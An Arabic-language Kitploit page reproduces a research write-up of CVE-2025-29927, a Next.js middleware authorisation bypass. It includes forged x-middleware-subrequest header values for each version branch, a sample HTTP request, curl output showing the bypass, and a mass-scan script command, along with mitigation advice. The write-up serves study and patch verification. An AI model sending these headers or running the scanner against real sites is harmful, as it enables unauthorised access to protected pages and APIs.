Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927 — تحليل متعمق وبرهان المفهوم (PoC) لـ CVE-2025-29927، وهو تجاوز للمصادقة في البرمجية الوسيطة Next.js عبر رأس x-middleware-subrequest. يتضمن قوالب Nuclei وسكربت مسح جماعي للاختبار. | Kitploit
أدوات/GitHubGitHub/iteride/cve-2025-29927
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubiteride/cve-2025-29927

CVE-2025-29927

تحليل متعمق وبرهان المفهوم (PoC) لـ CVE-2025-29927، وهو تجاوز للمصادقة في البرمجية الوسيطة Next.js عبر رأس x-middleware-subrequest. يتضمن قوالب Nuclei وسكربت مسح جماعي للاختبار.

عرض المستودع
1منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-29927

مقدمة

يقدم هذا المستند دراسة للثغرة CVE-2025-29927، التي تؤثر على آلية Middleware في إطار العمل Next.js.
Next.js هو إطار عمل مفتوح المصدر شائع من Vercel لتطوير التطبيقات القائمة على React. يدعم التقديم من جانب الخادم، والتوليد الثابت، ونظام وسيط مرن (middleware) يُستخدم للتوجيه، وإعادة التوجيه، ورؤوس الأمان، والتحقق من صلاحيات الوصول.

في مارس 2025، تم اكتشاف ثغرة حرجة CVE-2025-29927 تتعلق بمعالجة رأس الخدمة الداخلي للطلبات الفرعية.
جوهر المشكلة هو إمكانية تجاوز فحوصات التفويض في التطبيقات التي يتم فيها تنفيذ التحكم في الوصول داخل middleware فقط، عن طريق إدخال قيمة معينة في رأس HTTP x-middleware-subrequest. إذا كانت الأمان معتمدًا فقط على middleware، يمكن للمهاجم الوصول إلى المسارات أو البيانات المحمية.

الإصدارات المتأثرة من Next.js والإصلاحات (وفقًا للمصادر العامة والمواد الرسمية):

  • 11.1.4 ≤ الإصدار < 12.3.5
  • 13.0.0 ≤ الإصدار < 13.5.9
  • 14.0.0 ≤ الإصدار < 14.2.25
  • 15.0.0 ≤ الإصدار < 15.2.3

الإصلاحات متاحة في الإصدارات 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

يُستخدم Next.js على نطاق واسع في الإنتاج؛ والثغرة التي تمس طبقة middleware (التي كثيرًا ما تُستخدم للمصادقة/التفويض وسياسات الأمان) تحمل مخاطر عملية عالية.


هدف التقرير

تحليل الثغرة خطوة بخطوة وتوثيق دورة البحث الكاملة:

جمع وتنظيم المواد.
تنظيم المصادر العامة حول CVE-2025-29927؛ شرح جوهر الخلل، شروط التشغيل، والإصدارات/التصحيحات المؤكدة.

تحديد CPE وشروط التهيئة.
تقديم قائمة CPE/الإصدارات ووصف التهيئات التي يمكن فيها تكرار الثغرة (مثل النشر الذاتي والتفويض على مستوى middleware).

عرض توضيحي آمن.
إعداد عرض توضيحي قابل للتكرار في بيئة اختبارية (بدون إجراءات مدمرة) يؤكد تجاوز middleware في الإصدارات الضعيفة.

منهجيات الفحص الجماعي.
وصف وتنفيذ ثلاثة أساليب آمنة:

  • nuclei (وضع نشط مع تقليل التأثير)،
  • nuclei (وضع سلبي بناءً على الإصدارات/المؤشرات غير المباشرة)،
  • سكربت مخصص بلغة Python/Go (فحص نشط متعدد الخيوط على مضيفات اختبارية).

جوهر الثغرة

middleware

  • السبب الجذري. في Next.js، يُستخدم رأس الخدمة x-middleware-subrequest لتتبع الطلبات الفرعية الداخلية ومنع التكرار في middleware. في الفروع الضعيفة، يمكن للعملاء الخارجيين إدراج هذا الرأس بقيمة «متوقعة» — ويقوم وقت التشغيل بتجاوز تنفيذ middleware، ويمرر الطلب مباشرة إلى معالج المسار.

  • دور الرأس. في الأصل، صُمم رأس x-middleware-subrequest كمؤشر داخلي على أن طلب HTTP الحالي قد تم تشغيله بواسطة الإطار نفسه كطلب فرعي وسيط، وليس وصولاً مباشرًا من المستخدم.
    وهو ضروري للتشغيل الصحيح للآليات الداخلية لـ Next.js: بالإضافة إلى التوجيه، يساعد هذا العلم في تجنب التكرار اللانهائي، من خلال «تعليم» كل طبقة وسيطة تم استدعاؤها.
    لكن هذا المنطق بالتحديد أدى إلى ثغرة غير مقصودة في الحماية: يمكن للعميل الذي يضيف هذا الرأس بنفسه أن يجعل النظام يعامل طلبه كطلب داخلي وبالتالي يتجاوز فحوصات التفويض.

  • تطور المنطق.

    • في الإصدارات المبكرة، يُفسر الرأس كقائمة من القيم مفصولة بنقطتين، وتقوم الآلية بمطابقته مع اسم/مسار middleware النشط.
    • في الفروع الأحدث، تمت إضافة حماية من التكرار اللانهائي على شكل عداد عمق؛ عند الوصول إلى الحد (افتراضيًا 5)، يتم تجاوز middleware أيضًا. يمكن خداع هذه الآلية إذا تم تشكيل الرأس «كما لو» أن سلسلة الطلبات الفرعية قد استنفدت الحد.

التأثير

  • السرية والتكامل. وصول غير مصرح به إلى الصفحات المحمية أو واجهات API عند تنفيذ التحكم في الوصول فقط على مستوى middleware؛ احتمال تعديل البيانات عبر نقاط النهاية المحمية.
  • التوفر. آثار جانبية مثل تسميم ذاكرة التخزين المؤقت (cache poisoning) قد تؤدي إلى تخزين مؤقت غير صحيح وتدهور التوفر في بعض التهيئات.

CPE وشروط التهيئة

CPE الرسمية (CPE 2.3)

تشير السجلات الحالية لـ NVD إلى المنتج Vercel Next.js مع البرنامج المستهدف node.js. بالنسبة للفروع الضعيفة، تُطبق التهيئات التالية (نطاقات الإصدارات محددة على مستوى تهيئات CPE في NVD):

CPE URIنطاق الإصدارات الضعيفة
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

ملاحظة: في وصف CVE يُشار أيضًا إلى أنه «بدءًا من 11.1.4 وحتى 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3» يمكن تكرار الثغرة عند استيفاء الشروط أدناه.

شروط الأهمية في بيئة الإنتاج

  • التحكم في الوصول (المصادقة/التفويض) مطبق في middleware وغير مكرر في المعالجات/الواجهة الخلفية.
  • النشر ذاتي (self-hosted) (مثل next start، البناء مع output: 'standalone') أو أي بيئة يتم فيها تنفيذ middleware على الطلبات الواردة دون تصفية محيطية للرؤوس الخدمية.
  • عدم وجود أدوات خارجية تتجاهل طلبات المستخدم التي تحتوي على x-middleware-subrequest (مثل قواعد WAF).

الآلية الداخلية لـ x-middleware-subrequest

لتجنب التكرار اللانهائي للكود الوسيط، يقوم وقت التشغيل بتكوين وقراءة رأس خدمي:

  1. يتم تفسير قيمة الرأس كسلسلة تحتوي على عناصر مفصولة بنقطتين : — نحصل على مصفوفة من «الطلبات الفرعية».
  2. بعد ذلك، يتحقق وقت التشغيل:
    • ما إذا كان اسم/مسار middleware الحالي موجودًا في هذه المصفوفة (في الفروع القديمة كان هذا يؤدي إلى التجاوز الفوري عبر NextResponse.next())،
    • أو ما إذا كان قد تم الوصول إلى أقصى عمق للتكرار (في الفروع الجديدة يُطبق حد، افتراضيًا 5)، وعندها يتم تجاوز middleware أيضًا.
  3. للحماية من التزوير، تمت إضافة معرف طلب فرعي منفصل (x-middleware-subrequest-id) في التصحيحات، مرتبط بجلسة العملية الحالية؛ إذا لم يتطابق، يتم مسح x-middleware-subrequest الوارد على جانب الخادم.

طريقة الاستغلال

يرسل المهاجم طلب HTTP إلى تطبيق Next.js المستهدف، مضيفًا إليه رأس الخدمة x-middleware-subrequest.
في القيمة، يتم تحديد المسار إلى ملف middleware — على سبيل المثال pages/_middleware، middleware أو src/middleware.
تعتمد القيمة المطلوبة على إصدار Next.js المستخدم وهيكل المشروع.

عندما يصل هذا الطلب إلى التطبيق، يعامله المنطق الداخلي للإطار كـ طلب فرعي داخلي ويفترض أن الطبقة الوسيطة قد تم تنفيذها بالفعل.
ونتيجة لذلك، يتم تخطي فحوصات المصادقة والتفويض التي تحدث عادة في middleware عمليًا.


PoC / Exploit

هام: هذه المواد مقدمة حصريًا للتحقق من التصحيح ونمذجة المخاطر في بيئة اختبارية مغلقة.
أي فحص في البنية التحتية الإنتاجية ممكن فقط بإذن من مالك الموارد.

المبدأ العام

يستخدم Next.js رأس الخدمة x-middleware-subrequest لتعليم الطلبات الفرعية الداخلية ومنع التشغيل التكراري لـ middleware.
أثناء معالجة الطلب، يتم تقسيم قيمة الرأس حسب الرمز : ومقارنتها باسم middleware الحالي.
في الإصدارات الجديدة، تمت إضافة حد للعمق (MAX_RECURSION_DEPTH، عادةً 5).
إذا تحقق الشرط (تطابق الاسم أو الوصول إلى الحد)، يقوم Next.js بتجاوز middleware ويمرر الطلب إلى الأمام.
يمكن للمهاجم تكوين قيمة رأس صحيحة، محاكيًا طلبًا فرعيًا داخليًا.

الاستغلال حسب الإصدارات

1️⃣ الإصدارات قبل 12.2: Pages Router و _middleware.*

  • كانت ملفات middleware تُسمى _middleware.js/ts وتقع في دليل pages/.
  • يجب أن تتطابق قيمة الرأس مع المسار إلى الملف، على سبيل المثال: x-middleware-subrequest: pages/_middleware

2️⃣ الإصدارات 12.2 – 13.0.0: الجذر middleware.*

  • من الإصدار 12.2، تمت إزالة الشرطة السفلية من الاسم: أصبح الملف middleware.js/ts.
  • يمكن أن يكون في جذر المشروع أو جذر دليل /src.
  • لتجاوز middleware، يُستخدم الرأس: x-middleware-subrequest: middleware أو x-middleware-subrequest: src/middleware

3️⃣ الإصدارات 13.x وما بعدها: حد عمق التكرار

  • تمت إضافة فحص العمق: يتم تقسيم قيمة الرأس حسب :، وإذا كان عدد تكرارات اسم middleware ≥ 5،
    يعتبر Next.js أن شرط التكرار قد تحقق ويتجاوز middleware عبر NextResponse.next().
  • للهجوم، يتم تنسيق الرأس كالتالي: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware أو x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

خصوصيات في Next.js 15.x

في إصدارات 15.x، أعاد المطورون تصميم المنطق لمنع الاستدعاءات التكرارية اللانهائية.
عندما يتم تشغيل middleware في مسار (على سبيل المثال /api/*)، يحصل Next.js على عنوان URL آخر يؤدي أيضًا إلى تشغيل نفس middleware.
يحسب الإطار عدد مرات التشغيل عبر رأس x-middleware-subrequest.
إذا وصل عدد الاستدعاءات إلى الحد المحدد (MAX_RECURSION_DEPTH، افتراضيًا 5)، يتم حظر استدعاءات middleware الإضافية.
يمكن للمهاجم استغلال هذا السلوك عن طريق تحديد قيمة الرأس مسبقًا بعدد التكرارات المطلوب، وبالتالي الوصول بشكل مصطنع إلى حد العمق — ونتيجة لذلك، يتم تجاوز middleware بالكامل.

مثال على الطلب

بالنسبة للفروع القديمة، يتم اختيار قيمة الرأس وفقًا للخيارات المذكورة أعلاه

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

لماذا يعمل هذا

صُمم x-middleware-subrequest كآلية داخلية للحماية من التكرار اللانهائي.
ولكن في الإصدارات الضعيفة، كانت التصفية للطلبات الخارجية غائبة: يمكن للعميل تزوير الرأس،
وتحقيق شرط التجاوز (تطابق الاسم أو الوصول إلى حد العمق)
والوصول مباشرة إلى معالج المسار المحمي.

تشغيل بيئة الاختبار

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

الاختبار:

(المثال مبني على Next.js 15.2.2؛ بالنسبة للفروع الأخرى، اختر قيمة الرأس وفقًا للجدول في قسم PoC)

  1. طلب عادي:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. طلب مع رأس x-middleware-subrequest:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

توصيات للحماية

  • قم بتحديث Next.js على الأقل إلى الإصدارات 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
  • إذا تم تأجيل التحديث — قم بتصفية أو تجاهل الرأس الخارجي x-middleware-subrequest على مستوى WAF/الوكيل.
  • كرر الفحوصات الحرجة للتفويض في معالجات API، وليس فقط في middleware.

قالب Nuclei للاختبار

  • يجمع هذا القالب بين الفحص السلبي والنشط لتطبيقات Next.js.
  • يقوم بتحليل الرؤوس وعمليات إعادة التوجيه بشكل سلبي للكشف عن مؤشرات Next.js وسلوك middleware المحتمل.
  • يختبر بنشاط تجاوز middleware باستخدام رأس X-Middleware-Subrequest المكون خصيصًا.
  • يستخدم عدة حمولات، مما يزيد من احتمالية اكتشاف الثغرة — حوالي 60٪ في ظروف الاختبار القياسية.

nuclei

⚠️ تنبيه: القالب مخصص للاختبار فقط على أهدافك الخاصة أو المسموح بها. استخدامه على خدمات طرف ثالث دون موافقة المالكين غير قانوني.

سكربت للفحص الجماعي

  • يدعم السكربت تعدد الخيوط، مما يسمح بمسح عدد كبير من الخدمات والمسارات بسرعة.
  • يدعم إدخال قوائم الأهداف والمسارات عبر ملفات.
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
تنزيل الأداة
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3